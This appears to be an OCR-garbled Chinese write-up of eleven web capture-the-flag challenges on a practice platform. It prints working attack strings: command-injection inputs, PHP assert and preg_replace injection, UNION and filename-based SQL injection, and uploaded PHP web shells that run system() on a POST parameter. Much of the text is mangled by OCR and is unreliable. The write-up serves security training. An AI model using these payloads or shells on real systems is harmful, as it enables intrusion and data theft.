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1. Cat

BN, RaBARL, ZiXHA127.0.0.1

Cloud Automated Testing

RAIRENER, Hl30: loli.club

127.0.0.1 Submit
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp seg=1 ttl=64 time=0.045 ms

=== 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 0.045/0.045/0.045/0.000 ms

ERKREMOMIT, ZiAMAN127.0.01&ls, 127.0.0.1(ls, 127.0.0.1 |dir, ‘Is'%, #RFTM

Cloud Automated Testing

WAIRENER, Bla0: loli.club

127.0.01] Is Submit

Invalid URL

KIM ok getS Brur AT /28, 7T CAEHrurighd, 1842 A\ %80 LA L i H Bl 45

Cloud Automated Testing

|AIRESERE, Bla0: loliclub

Submit

<|DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-g">
<meta name="robots" content="NONE,NOARCHIVE">
<title>*UnicodeEncodeError at fapi/ping</title>
<gtyle type="text/css">
html * { padding:0; margin:0; }


https://blog.csdn.net/weixin_44120313
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_44120313/article/details/103005447

body * { padding:10px 20px; }

body * * { padding:0; }

body { font:small sans-serif; }

body>div { border-bottom:lpx solid #ddd; }

hl { font-weight:normal; }

hZ2 { margin-bottom:.Bem; }

h2 span { font-size:B0%; color:#666; font-weight:normal; }
h3 { margin:lem 0 .5em 0; }

h4 { margin:0 0 .S5em 0; font-weight: normal; }

code, pre { font-size: 100%; white-space: pre-wrap; }

table { border:lpx solid #ccec; border-collapse: collapse; width:100%; background:white; }
tbody td, tbody th { wvertical-align:top; padding:2px 3px; }
Fhaad +h T

H AR & I htmI T T 4T FF

UnicodeEncodeError at /api/ping

'gbk' codec can't encode character uwufffd' in position 0: illegal multibyte sequence

Request Method: POST
Request URL: http://127.0.0.1:8000/api/ping
Django Version: 1.10.4

Exception Type: UnicodeEncodeError
Exception Value: 'gbk' codec can't encode character u'‘ufffd' in position 0: illegal multibyte sequence

Exception Location: /opt/api/dnsapifutils.py in escape, line 9
Python Executable: /usr/bin/python
Python Version: 2.7.12

Python Path: ['/opt/api®,
'fusr/lib/python2.7",
'fusr/lib/python2.7/plat-xB6_€4-linux-gnu',
'fusr/lib/python2.7/1ib—tk',
'fusr/lib/python2.7/1lib-old',
'‘fusr/lib/python2.7/lib-dynload’,
‘fusrflocal/lib/python2.7/dist-packages’,
'fusrflib/python2.7/dist—packages’)

Server time: Wed, 13 Nov 2019 16:40:24 +0000

djangofk & TWH, BMIAMSEAER] T 5 ui I django k4 kT /T, Tidjango# B T 4etE Ngbk BB RmID T 72 Gt
TasciifgiaED

CURLOPT_POSTEIELDS LEHIBERHTTPHNYFRY "POST" IBMEFREEX. BAH
BN, EHZEEI_E@FEHEETEREZR. X
BB AL [type-mimetype. KHETFEE,
XNSHOTLIZ urlencoded [FRIFHRTE | 2=
{:l'paral=vali&para2-=val2&.." , BALMEE—MAFER
ZAEE , FREENENEE. NRvalueE—PN
8 , Content-TypeLig=igigErkmultipart/form-
data, M PHP5.2.0 744 , /8 @ aiSREE 4T
value MRENHEH, M PHP 550 FHA, @ aiECHEE
F . NFoIiEi" CURLFile 3%, 8
CURLOPT_SAFE_UPLOAD J TRUE O] 22 @ B A1EL
%, LABINE 2,

% CURLOPT_SAFE_UPLOAD A true i, 4 RAEER AT H AN L@ php curl B4 2 &4 J5 T ) S E4axt B AR E R, REHCC
o ZEAHF AR SO AT, Django 74 &k S BERBOIHF AR



TR Ll @0 b B AR R B
FE W RIS 2 B htrl 0 T 5 BB P B A2

"AUTOCOMMIT' : True,

'CONN_MAX AGE': 0,

'"ENGINE': 'django.db.backends.sglited’,
"HOST': ',

'NAME': '/opt/api/database.sglite3d’,
"OPTIONS': {}, k‘_

'PASEWDRD': u'ittitittitittitittit"

"PORT': '',

"TEST': {'CHARSET': None,
'COLLATION': Hone,

F 2 payload:

url=@/opt/api/database.sqlite3

SRUE BB B, B Rk, MThiKSfag

A\x00\x1c\x01\x07AWHEDE { yoooo_Such A GOOD_@}Wna#39;</pre></t

2. ics-05



BRI, RIS ST EE kPR XK, URLEEHR S%?page=index fFfEgetfhfE, #EMI AT REA27AE LB & IRIR

< 5 C 1 @ A=z 1‘I1.198.29.45:@dex.php?page:‘mdD
A @ FEEN S Google W HE

TEEREEF P

ID &R B

TEhackbar {5 F php:/filterth Hi SR L EUIRRY, payloadil T

LOAD URL SPLIT UAL EXECUTE URL sgun - xgs - LAl - es8m - ENCODING - HASHIRG -

AT 1T 198 29 A5 38420 in e iy Ppsaaees phy TG, o C 0Nt base b a-ancody Tes ourea = indes. php

R h8 Flindex.php base64 414 J5 i) JE Y

DivaHARKT il ey A S DAaOwe KON e Sk pb 2 Sheine ndok Take G fea eI K DEWMDApDwol 0B+ CjweR EIDVFICRSEIVE

Base64 @iy ] 15 2 <X ig

A AERTRE ARSI, EEF PR, RIErEEA DN
if (%_SERVER(['HTTP_X_FURWARDED FOR'] === '127.0.0.1') {

wcha “<hp »Welcome My Admin | <br =7

if (ismat|Spattarn) && imset(Sraplacemant) &b iesat(ssublect)) |
prag_replace|Spattern, Sreplacement, Ssubject):
alsa]



REG = i+

preg_replace() B FE WA WATIRE, preg_replace R /e, &SFBRBIITHIHE. /e BIERE preg_replace() ¥
replacement 2141k PHP A3, S#patfisubBFHFAZ 5, repMARIEEE&HAT,

[ i B ARIEX-Forwarded-For = 127.0.0.1, 4 BEARIEHAT A

BME - WAEHME -

BN AT Is i &

Welcome My Admin !
sss index.html index.php js layui logo.png s3chahahaDir start.sh #lE.png

2 Ja T R 2lflag L HX

AT VR 25 48 S kel Tl svpber T (ehabak a0 e Py i iani 171

:::::::::

IR B flag

Welcome My Admin !
7> 8flag = 'cyberpeace{1ce60b3dfef4acD1e6453c82cf3c0ib3);

3. ics-06

EW T W R RIdSE

& 3 C 0y ® FEL| 111.198.29.45:59711/index.php?id=1
i A @ HEEW & Google ¢ HE

CEREmRERL

oyl



XFidBEAT R, KB Hid=2333 113 2flag

cyberpeace{fad037955ec4424682872eb02eco4644)

4. lottery

SR —THZR

[08:40:14]

-> http://111,198.29.45:59948/.git/

/.git/config
it/COMMIT_EDITMSG

/.git/description

/.git/logs/HEAD

http://111,198.29.45:59948/.git/logs/refs/

RI.gitTERD IR, 1 githack T B Sk IR BB RS

[8:40:56]

$ /Users/zhanghongyi/Documents/tools/GitHack-master/GitHack.py http://111.198.29.45:59948/.git
[+] Download and parse index file ...

account.php

api.php

buy.php

check_register.php
config.php
css/main.css
favicon.ico
footer.php
header.php

T FR B EI AR



OPEN FILES
FOLDERS
8.29.45.59948 <?php ("header.php'); 7=

index.php x

< class="page-header">

<hl>Buy a lottery!</hi>

<p class="lead">People are winning fabulous pri
$5000000!'</p>

<a href="buy.php" class="btn btn-l1g btn-success
</ >

<hl>Rules</hl>
index.php <] | >
<li=Each starter has $20</1i>
<li>Pay $2, and select 7 numbers. Comparing
<1i>2 same numbers: you win %$5</li>
<1i>3 same numbers: you win %$20</li>
<li>4 same numbers: you win %$300</li>
< same numbers: you win $1800</
{ ne 1 mbe . g (A (A (A A A

JL4444449,

fEapi.php XA fr 3R B 235 1 4 i 75 2K

~($1-0; $i<7; $i++){

{$numbers[$i] $win_numbers[$i] ) {

$same_count++;

RIF == kAW —EHE, HTphpRIFRAIES, boolZEAKitrue v LLANE (T X HE 55K AAEH
FRIMEAEpostiEF], Knumberdtl— ME 2 Ntrue A, RIhE B &KL .

PN e el e IR o) [ R e i ek o T et o o T M R AL B e W R R W

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 {"status":"ok","numbers":[true true,true,true true true,true),"win_numbers":"7663469""
Cookie: PHPSESSID=oms 1jegfqi9ltnbshua8rshple money": 5200004, "prize™5000000}
Connection: close e—

{“action™"buy","numbers":[true,true true true true true,true]}

eHikE—EHHE, WEXfag.



Claim Your Prize homyee $107611029 Logout

Notice: You are offered a huge discount!

All items

Flag

$9990000

On Sale
buy the flag if you can

B

Here is your flag: cyberpeace{1120ac8906b0bchb640f06cbd3b021ae}

5. NewsCenter

FERREPERY, M4, TRAFEsIREA
1R

1' union select 1,database(),3 --

&

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="'news' --

By B4

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table' --

#flag

1" union select 1,group_concat(fl4g),3 from secret_table --



News

QCTF{sq1_inJecTion_ezzz}
3

6. mfw

1\ B X R .gitlEAS IR, githack$2 BRIRAD

$file "templates/" $page ".php";

assert("strpos('$file', "'.."') === false") ("Detected hacking attempt!");

assert("file_exists('$file")") ("That file doesn't exist!");

RIMENS HSpage H Pt tEassert() B+, , TR IMWEIERLIARBIAT
payload:

?page="' and die(show_source('templates/flag.php')) or '

<?php 3FLAG="cyberpeace{fd4afl08530efflcleab3abielbbébsb}"; 7>

1

7. Training-WWW-Robots



User-agent: *
Disallow: /fl0g.php

User-agent: Yandex
Disallow: *

B B 12 Rrobots. ST, B IERREL
VLB B S FEA0g.php3Cf:, FTEEEV 1, $FKEflag.

€ > C Y @ FEL| 111.198.29.45:56014/fl0g.php
A @ FIREW G Google fm BE

cyberpeace{b307d2d6c66a04c3011998c0d0cdecald}

8. NaNNaNNaNNaN-Batman



TEXM, THRARMAIES

script>_='function $(){ e= getEle ById("c").value; length==16
~bedf23 233ac e98aas% c7be9 M t fl 5_a i
e} n a _hel n 7 g{ e _0 i it\!
» n s=[t,n, r,i];for( 0=0;0<13;++0){ [0]); .splice
(0,1)}}} \'<=input id="c">< onclick=%()>0k</ >\ ') :delete

var "o docu : ) match(/ "
/) =null — write( s [0%4] button if(
ment': (Y g1
') (_.split($[Y]))_=join(pop())
reval(_)</script>

R JE R BONhtmIFE R B8 R AT I, B2 —ANMAE

HOEA @ FinEN G Google % HE

Ok

AT, eval ) RBOFREPATSORE, NIIT T FEFEME N SEEN, FHibkevalhalert ML E . 53jsft
=

function $()
var e=document.getElementById("c").value;
(e.length==16)
(e.match(/"bedf23/)!=null)
(e.match(/233ac/) '=null)
(e.match(/e98aa%/) '=null)
(e.match(/c7be9/) '=null){
var t [Ilflll'lls_all'Ilill'lle}"];
var n [Ilall'll_halll'lln"];
var r [Ilg{ll'llell'll_@"];
var i [Ilitlll'll_ll'lln"];
var s=[t,n,r,i];
(var 0=0:;0<13;++0){
document.write(s[o%4] [0]);
s[o%4] .splice(@,1)

h

}

document.write('<input id="c"><button onclick=%()>0k</button>');

HERZ WA 6] & B 34T, BT /5 2lflag

var t=["fl","s_a","i","e}"

var n=["a","_hel","n"
var r=["g{","e"," o"
var i=["it'"." " "n"

var s=[t,n,r,i
for(var 0=0;0<13;++0
document.write(s[o%4][0 s[o%4].splice(0,1



flag{it's_a_h0le_in_0One}

9. bug
HEANRIEM U, Se M —A kS

homyee
123
2019/11/06

1

BREHEAE RAsqEN LRI

Home Manage Personal Change Pwd Logout

Old Pwd  see

New Pwd 123458

RERWERNGICEGIRERANM, SRIEEJFEE, HEABBEENTE.



Yes,You are homyee

[TTILL

I G K username vadmin, KikjG, RABHEFLRD)

Referer:

http://111.198.29.45:36802 /index.php?module=findpwd &step= 1&doSubmit=yes
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: PHPSESSID=0oms1jegfgi9ltnbshua8rshp 16

Connection: close

username=admin&newpwd=123456

XA L adminfk 5 A2 SUE K% 58 5

Home Manage Personal Change Pwd Logout

Hello, admin, Welcome

f# FiManage D ReRt, #RnpA RV, IEEHN
X-Forwarded-For:127.0.0.13%:3k, Ki%EEEIRR

< fdiv>
< fdiv>
<!-— index.php?module=filemanage&do=777-->
< /body>
< fhtml=

D 1 DU AE AR S B AR ThRE, T R BEA
index.php?module=filemanage&do=upload 7 1

<IDOCTYPE htmi=>
<html=
<head>
<title>Message < /title>
<meta charset="UTF-8" />
\ </head>
<body>
<script>alert('Reset
successfully 1 k< /script> <script>window.location.href="index.php'< /script> </
body> < fhiml>



Just image?

Egss | REER PR

A AR EfEphp—A)EAR D, WK R IAFELE S 4 B 4% B JE Al Content-Type IWT, )5 S A A& < id JE<?php 7>
IMBEBKJES ~php5, Content-Type Nimage/gif , £ 7Epost¥idf s ¥ <?php 2>HN

<script language='php'>....</script>

B b, KIMEERBE T flag

~onnection: close

—————— WebKitFormBound aryUBG0alRQABY7z2yW
_ontent-Disposition: form-data; name="upfile"; filename="shell.php5"
Content-Type: image/gif e—

<script language="php'> \
fo="sys"."tem";

Sc(5_POST['a']); ™~

< [script>

—————— WebKitFormBoundaryUBG0alRQAbY7z2yW--

10. upload

<poay>

<script=alert('you have get points,here is the
flag:cyberpeace{e50a71c35fal7d6a59904daB69d 70205} )< /script> < script>wi
dow.location.href="index.php'< /script> < /body> < /html>



BENRIEM T, MRS

Please Sign Up

Already a member? Login

Registration successful.

homee

123@qq.com

R e R IA A BT RE

Upload page - Welcome homyee

Logout

file list{<10 files)

iRl | ARULEERI
submit

BT KA R 68 L1% jog/a B octt, HEEGE RS, ERIELENERCHFZAMUD, R REEEXHBIEN.

—————— WebKitFormBoundaryk 8WtpklAVrI065Ql
Content-Disposition: form-data; name="file"; filename="shell.jpg"

Content-Type: text/php
<Tphp

Sc="sys""tem";
Scis_POST['a');

------ WehKitFormBoundarvk RWrmkIAVr9OR50l--

<link rel="stylesheet” href="style /main.css">
< /head>
<body>File shelljpg has been uploaded from homyeeand uid is:1660

\ /

2R L IR KR IE 38 T selectfiifrom, T FF selselectectfifrfromomii /7485, T B 2N ARG HMTEIEFZRE, S, Bl

] LA Rk [B] 5 A R e 103 6, DU T ) D9 8 SR A SO IR

sql'+(selselectect CONV(substr(hex(database()),1,12),16,10))+"'.jpg



hex()¥ & #) A A 9163 H], substr)BU12M 2FA—BHidK GEE12) , MEARHEEEER, &5 CONV()K 16
A108EH] . RILET)[E B

Upload page - Welcome homyee

Logout

file list{<10 files)

EiExs | RIGEERSE

submit

131277325825392

FH python¥é 1053 il 5% 9 7 775 B2

import binascii

n = 131277325825392

h = hex(n)[2:]
print(binascii.a2b_hex(h).decode("utf8"))

Hitweb_up

BIEFHRA
sql'+(select CONV(substr(hex(database()),13,12),16,10))+'.jpg

=> 1819238756
=>|oad

& 319 33 B web_upload

sql'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schem
a = 'web_upload' limit 1,1)),1,12),16,10))+"'.jpg

=> 114784820031327
=> hello_

sql'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schem
2 = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg

=>112615676665705
=>flag_i

sql'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schem
a = 'web_upload' limit 1,1)),25,12),16,10))+"'.jpg

=>126853610566245
=>s_here

4318 3 hello_flag_is_here

sql'+(seleselectct+CONV(substr(hex((seselectlect column_name frfromom information_schema.columns where table nam
e = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+"'.jpg



=>115858377367398
=>j_am f

sql'+(seleselectct+CONV(substr(hex((seselectlect column_name frfromom information_schema.columns where table_nam
e = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+"'.jpg

=>7102823
=>lag
BEFB4 i_am_flag

sql'+(seleselectct+CONV(substr(hex((seselectlect i_am_flag frfromom hello flag is here limit ©,1)),1,12),16,10))

+'.jpg

=>36427215695199

=1l _@m_

sql'+(seleselectct+CONV(substr(hex((seselectlect i_am flag frfromom hello flag is here limit ©,1)),13,12),16,10)
)+'.jpg

=>02806431727430

=>The_F

sql'+(seleselectct+CONV(substr(hex((seselectlect i_am flag frfromom hello flag is here limit ©,1)),25,12),16,10)
)+'.jpg

=> 560750951

=>llag

A zlflag: "_@m_Th.e_Fllag

11. FlatScience

BARAMBER

-> http://111.198.29.45:41160/1/
Jadmin.php
1ndex . html

"login.php

# Nlogin.php , MR KR SR B Nsqlite, EAEIFY

</form>

<l== TODO: Remove ?debug-Parameter! -->



WIERR, #EAindex.php?debug FRELEIJEFG

<?php

if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $ POST[ 'usr'];
$pass = $_POST[ 'pw'];

4db = new SQLite3('../fancy.db');

$res = $db->guery("SELECT id,name from Users where name='".$user."' and password='".shal($pass."Salz!")."'");
if(%res){
Srow = Sres->fetchirray();
}
else{
echo "<br>Some Error occourred!”;
}

if({isset($row[ 'id'])){
setcockie( 'name',’' '.$row['name'], time{) + 60,
header( "Location: /"});

die();

if(isset($_GET[ 'debug']})}
highlight_file('login.php');

EIEARE R, BEAEMLE AHEFEE, HRE T setcookieM Mk, ALIE. WEERIEA.

' union select name,sql from sqlite_master--

Ul'lglrl. NUP//111.198.£9.43.4110U

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10_13_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image /webp,image /apng,*/*
;q=0.8,application/signed-exchange;v=b3

Referer: http://111.198.29.45:41160/login.php?debug

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

usr="'union select name,sql from sqlite_master--&pw=1

N

Set-Cookie:

CREATE TABLE Users(

id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)

)

i Users EAid, name, password, hint [YA~ 7B 44

TR, TUHEERER

JEL-LOOKIE

name=+CREATE+TABLE+ Users®2 8id +int+ primary+ key#%2 Cname+varchar%28255%
29%2Cpassword+varchark28255%2 9%2 Chint+varchar28255%29%29;
expires=Wed, 13-Nov-2019 14:01:28 GMT; Max-Age=60; path=/

Location: /

Content-Length: 699

Connection: close

Content-Type: text/html; charset=UTF-8

<!IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>

<head>

<style>

blockquote { background: #eeeeee; }
h1l { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px: !
.comment { color: darkgreen; }



QIEEE: k€523
id name
1 admin
2 fritze
2 Chansi

union select id,group_concat(id) from Users--

union select id,group_concat(name) from Users--
union select id,group_concat(password) from Users--
union select id,group_concat(hint) from Users--

password hint
3fab54a50e770d830c0416df817567662a9dc85¢ my fav word in my fav paper?!
54eae8935c90f467427f05e4ece82cf569f89507 my love is...?

34b0bb7c304949f9ff2fc101eef0f048be10d3bd the password is password;

password Eﬂ%ﬁg+salt?§ﬁsha1 bﬂ%gﬂﬁk ’ *Eﬁhintﬂ%ﬂ ’ %ﬁ%ﬁfﬁﬁﬁ:paperﬂlﬂ ° ﬂ@ﬂﬂﬁﬁ)ﬁ *Fﬁﬁﬁ‘]pdf)tﬁ: ’ ﬂi)ﬁﬁi Hﬂj—‘l&ﬁtﬁg*ﬁ
AbEE, FtFshat %5 N ) 2D T REE 4R B IER D, BRI ARAE.

from cStringIO import StringIO

from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter

from pdfminer.converter import TextConverter

from pdfminer.layout import LAParams

from pdfminer.pdfpage import PDFPage

import sys
import string
import os
import hashlib

def get_pdf():

return [i for i in os.listdir("./") if i.endswith("pdf")]

def convert_pdf_ 2 text(path):

rsrcmgr = PDFResourceManager()
retstr = StringIO()
device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())

interpreter

with open(path,

= PDFPageInterpreter(rsrcmgr, device)

'rb") as fp:

for page in PDFPage.get_pages(fp, set()):
interpreter.process_page(page)

text = retstr.getvalue()

device.close()

retstr.close()

return text

def find_password():
pdf_path = get_pdf()
for i in pdf_path:

print "Searching word in

+ 1

pdf_text = convert_pdf_2_text(i).split(" ")
for word in pdf_text:

shal_password = hashlib.shal(word+"Salz!").hexdigest()
if shal_password == '3fab54a50e770d830c0416df817567662a9dc85c":
print "Find the password :"

exit()

if __name__ ==
find_password()

__main__":

+ word



B F)admin® 5. ThinJerboa

fEadmin.php A &, B Ffag

Yay!ll
flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}
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